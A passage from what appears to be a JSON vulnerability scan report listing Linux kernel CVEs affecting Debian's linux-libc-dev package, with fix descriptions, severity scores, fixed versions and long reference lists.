vgic-its: Drop the translation cache reference only for the erased entry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: vgic-its: Drop the translation cache reference only for the erased entry\n\nvgic_its_invalidate_cache() walks the per-ITS translation cache with\nxa_for_each() and drops the cache's reference on each entry with\nvgic_put_irq(). It puts the iterated pointer, though, rather than the\nvalue returned by xa_erase().\n\nThe function is called from contexts that do not exclude one another: the\nITS command handlers hold its_lock, the GITS_CTLR write path holds\ncmd_lock, and the path that clears EnableLPIs in a redistributor's\nGICR_CTLR holds neither. Two or more of them can drain the same cache\nconcurrently, and if each one observes the same entry, erases it and then\nputs it, the single reference the cache holds on that entry is dropped\nmore than once. The entry can then be freed while an ITE still maps it.\n\nxa_erase() is atomic and returns the previous entry, so put only the entry\nthat this context actually removed. The cache reference is then dropped\nexactly once per entry even when the invalidations run concurrently, and\nthe behavior is unchanged when only one context runs.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-911" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:34911", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:38902", "https://access.redhat.com/errata/RHSA-2026:39371", "https://access.redhat.com/errata/RHSA-2026:40764", "https://access.redhat.com/errata/RHSA-2026:40779", "https://access.redhat.com/errata/RHSA-2026:40787", "https://access.redhat.com/errata/RHSA-2026:44231", "https://access.redhat.com/security/cve/CVE-2026-46316", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/13031fb6b8357fbbcded2a7f4cba73e4781ee594%20%287.1-rc7%29", "https://git.kernel.org/stable/c/13031fb6b8357fbbcded2a7f4cba73e4781ee594", "https://git.kernel.org/stable/c/2bbc395e81bd29c543a0529a678327e932a7ec69", "https://git.kernel.org/stable/c/9121f4605ab94969f62d1b5714ca3c6c69bd202f", "https://git.kernel.org/stable/c/b7b72e88046328c9fdc638fe887d4240257dd5dc", "https://linux.oracle.com/cve/CVE-2026-46316.html", "https://linux.oracle.com/errata/ELSA-2026-500150.html", "https://lore.kernel.org/linux-cve-announce/2026060936-CVE-2026-46316-f761@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46316", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46316.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46316", "https://www.openwall.com/lists/oss-security/2026/06/10/16" ], "PublishedDate": "2026-06-09T13:16:36.887Z", "LastModifiedDate": "2026-10-19T20:18:42.06Z" }, { "VulnerabilityID": "CVE-2026-46323", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46323", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1aff65329f5c7097f4d9f5b14b54e1c59f8c82f92db193bd0356fd6f293b507f", "Title": "kernel: Linux kernel: Use-After-Free in net/gro due to improper handling of zerocopy skbs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gro: don't merge zcopy skbs\n\nskb_gro_receive() can currently copy frags between the source and GRO\nskb, without checking the zerocopy status, and in particular the\nSKBFL_MANAGED_FRAG_REFS flag.\n\nWhen SKBFL_MANAGED_FRAG_REFS is set, the skb doesn't hold a reference\non the pages in shinfo-\u003efrags. Appending those frags to another skb's\nfrags without fixing up the page refcount can lead to UAF.\n\nWhen either the last skb in the GRO chain (the one we would append\nfrags to) or the source skb is zerocopy, don't merge the skbs.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-123" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:27735", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:44230", "https://access.redhat.com/errata/RHSA-2026:44231", "https://access.redhat.com/errata/RHSA-2026:44259", "https://access.redhat.com/errata/RHSA-2026:44262", "https://access.redhat.com/errata/RHSA-2026:44270", "https://access.redhat.com/errata/RHSA-2026:47727", "https://access.redhat.com/errata/RHSA-2026:62639", "https://access.redhat.com/errata/RHSA-2026:62640", "https://access.redhat.com/errata/RHSA-2026:62641", "https://access.redhat.com/errata/RHSA-2026:62642", "https://access.redhat.com/security/cve/CVE-2026-46323", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/4db79a322db8c97f7b73b8a347395ef4d685eb40%20%287.1-rc5%29", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1f9c828556416fbe3f49386708ce999fc4d4da06", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=44bea2032af0425e4ce6d26a8af0ede79db49ec1", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=479084ae0e1d9cb7929cb4298d35623de189f80a", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=4db79a322db8c97f7b73b8a347395ef4d685eb40", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e334cbf3388fd9334503a778a82d9e9f14dd2f71", "https://git.kernel.org/stable/c/1f9c828556416fbe3f49386708ce999fc4d4da06", "https://git.kernel.org/stable/c/3c6cc9f2ca65b6dd61b1af75452dc0e1cd0aad8d", "https://git.kernel.org/stable/c/44bea2032af0425e4ce6d26a8af0ede79db49ec1", "https://git.kernel.org/stable/c/479084ae0e1d9cb7929cb4298d35623de189f80a", "https://git.kernel.org/stable/c/4db79a322db8c97f7b73b8a347395ef4d685eb40", "https://git.kernel.org/stable/c/e334cbf3388fd9334503a778a82d9e9f14dd2f71", "https://linux.oracle.com/cve/CVE-2026-46323.html", "https://linux.oracle.com/errata/ELSA-2026-44270.html", "https://lore.kernel.org/netdev/4d583fc5401298453d0a2f1b4719a15be30c8e49.1779194090.git.sd@queasysnail.net/", "https://lore.kernel.org/netdev/agVpIsaSherjHTYg@sultan-box/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46323", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46323.json", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://www.cve.org/CVERecord?id=CVE-2026-46323" ], "PublishedDate": "2026-06-09T13:16:37.753Z", "LastModifiedDate": "2026-10-19T20:18:43.21Z" }, { "VulnerabilityID": "CVE-2026-46331", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46331", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6fd1f2c5ad4494a74d87bae12d1fa2cc80a8fc81a5a721acd7bce1109b25c963", "Title": "kernel: net/sched: act_pedit: extend the writable skb range per key", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fix pedit partial COW leading to page cache corruption\n\ntcf_pedit_act() computes the COW range for skb_ensure_writable()\nonce before the key loop using tcfp_off_max_hint, but the hint does\nnot account for the runtime header offset added by typed keys. This\ncan leave part of the write region un-COW'd.\n\nFix by moving skb_ensure_writable() inside the per-key loop where\nthe actual write offset is known, and add overflow checking on the\noffset arithmetic. For negative offsets (e.g. Ethernet header edits\nat ingress), use skb_cow() to COW the headroom instead. Guard\noffset_valid() against INT_MIN, where negation is undefined.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27288", "https://access.redhat.com/errata/RHSA-2026:27353", "https://access.redhat.com/errata/RHSA-2026:27354", "https://access.redhat.com/errata/RHSA-2026:27355", "https://access.redhat.com/errata/RHSA-2026:27704", "https://access.redhat.com/errata/RHSA-2026:27705", "https://access.redhat.com/errata/RHSA-2026:27706", "https://access.redhat.com/errata/RHSA-2026:27707", "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27709", "https://access.redhat.com/errata/RHSA-2026:27713", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:28962", "https://access.redhat.com/errata/RHSA-2026:29080", "https://access.redhat.com/errata/RHSA-2026:29794", "https://access.redhat.com/errata/RHSA-2026:29799", "https://access.redhat.com/errata/RHSA-2026:29833", "https://access.redhat.com/errata/RHSA-2026:29856", "https://access.redhat.com/errata/RHSA-2026:29863", "https://access.redhat.com/errata/RHSA-2026:33219", "https://access.redhat.com/errata/RHSA-2026:33220", "https://access.redhat.com/errata/RHSA-2026:33221", "https://access.redhat.com/errata/RHSA-2026:33222", "https://access.redhat.com/errata/RHSA-2026:33223", "https://access.redhat.com/errata/RHSA-2026:33224", "https://access.redhat.com/errata/RHSA-2026:33225", "https://access.redhat.com/errata/RHSA-2026:33666", "https://access.redhat.com/errata/RHSA-2026:34048", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/errata/RHSA-2026:40021", "https://access.redhat.com/security/cve/CVE-2026-46331", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/899ee91156e57784090c5565e4f31bd7dbffbc5a%20%287.1-rc7%29", "https://git.kernel.org/stable/c/2bec122b9fb91507a758ab5e3e5c4fbe7cb3f61b", "https://git.kernel.org/stable/c/3dee9d0c198faeb95d052c1b94c2958751a28512", "https://git.kernel.org/stable/c/544d857b42a1734b923040e13aa61a6fd4746cf2", "https://git.kernel.org/stable/c/899ee91156e57784090c5565e4f31bd7dbffbc5a", "https://git.kernel.org/stable/c/a071e057518decc5e3bec89855758f5f8786f2c5", "https://git.kernel.org/stable/c/b198ed4e52580a7238c7c7082f03906f8b310313", "https://git.kernel.org/stable/c/b685d6ef6f07a3b5ce814565a25f39f2157538a5", "https://git.kernel.org/stable/c/d5d01d35a5a7d36f7cb679b67d9cbdd5205672dc", "https://github.com/sgkdev/packet_edit_meme/tree/main", "https://linux.oracle.com/cve/CVE-2026-46331.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/netdev/20260516162825.1480113-1-rollkingzzc@gmail.com/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46331", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46331.json", "https://ubuntu.com/security/notices/USN-8629-1", "https://ubuntu.com/security/notices/USN-8629-2", "https://ubuntu.com/security/notices/USN-8629-3", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8660-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46331" ], "PublishedDate": "2026-06-16T08:16:23.993Z", "LastModifiedDate": "2026-10-15T02:19:54.27Z" }, { "VulnerabilityID": "CVE-2026-46333", "VendorIDs": [ "DSA-6274-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46333", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:123af4bd95988a86131583ec7422ac09ad5e6eb5265f0d7f306964def50aa1a4", "Title": "kernel: Read root-owned files as an unprivileged user", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nptrace: slightly saner 'get_dumpable()' logic\n\nThe 'dumpability' of a task is fundamentally about the memory image of\nthe task - the concept comes from whether it can core dump or not - and\nmakes no sense when you don't have an associated mm.\n\nAnd almost all users do in fact use it only for the case where the task\nhas a mm pointer.\n\nBut we have one odd special case: ptrace_may_access() uses 'dumpable' to\ncheck various other things entirely independently of the MM (typically\nexplicitly using flags like PTRACE_MODE_READ_FSCREDS). Including for\nthreads that no longer have a VM (and maybe never did, like most kernel\nthreads).\n\nIt's not what this flag was designed for, but it is what it is.\n\nThe ptrace code does check that the uid/gid matches, so you do have to\nbe uid-0 to see kernel thread details, but this means that the\ntraditional \"drop capabilities\" model doesn't make any difference for\nthis all.\n\nMake it all make a *bit* more sense by saying that if you don't have a\nMM pointer, we'll use a cached \"last dumpability\" flag if the thread\never had a MM (it will be zero for kernel threads since it is never\nset), and require a proper CAP_SYS_PTRACE capability to override.", "Severity": "HIGH", "CweIDs": [ "CWE-269" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "http://www.openwall.com/lists/oss-security/2026/05/15/9", "http://www.openwall.com/lists/oss-security/2026/05/20/14", "http://www.openwall.com/lists/oss-security/2026/05/20/16", "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:19540", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19664", "https://access.redhat.com/errata/RHSA-2026:19666", "https://access.redhat.com/errata/RHSA-2026:19705", "https://access.redhat.com/errata/RHSA-2026:19711", "https://access.redhat.com/errata/RHSA-2026:19875", "https://access.redhat.com/errata/RHSA-2026:20051", "https://access.redhat.com/errata/RHSA-2026:20054", "https://access.redhat.com/errata/RHSA-2026:20129", "https://access.redhat.com/errata/RHSA-2026:20130", "https://access.redhat.com/errata/RHSA-2026:20299", "https://access.redhat.com/errata/RHSA-2026:20593", "https://access.redhat.com/errata/RHSA-2026:21701", "https://access.redhat.com/errata/RHSA-2026:21702", "https://access.redhat.com/errata/RHSA-2026:23468", "https://access.redhat.com/errata/RHSA-2026:23469", "https://access.redhat.com/errata/RHSA-2026:23470", "https://access.redhat.com/errata/RHSA-2026:23471", "https://access.redhat.com/errata/RHSA-2026:24814", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/security/cve/CVE-2026-46333", "https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cdn2.qualys.com/advisory/2026/05/20/cve-2026-46333-ptrace.txt", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-A009.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a", "https://git.kernel.org/stable/c/01363cb3fbd0238ffdeb09f53e9039c9edf8a730", "https://git.kernel.org/stable/c/15b828a46f305ae9f05a7c16914b3ce273474205", "https://git.kernel.org/stable/c/2a93a4fac7b6051d3be7cd1b015fe7320cd0404d", "https://git.kernel.org/stable/c/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a", "https://git.kernel.org/stable/c/4709234fd1b95136ceb789f639b1e7ea5de1b181", "https://git.kernel.org/stable/c/6e5b51e74a40d377bcd3081dd33fbaa0e1aa7e3d", 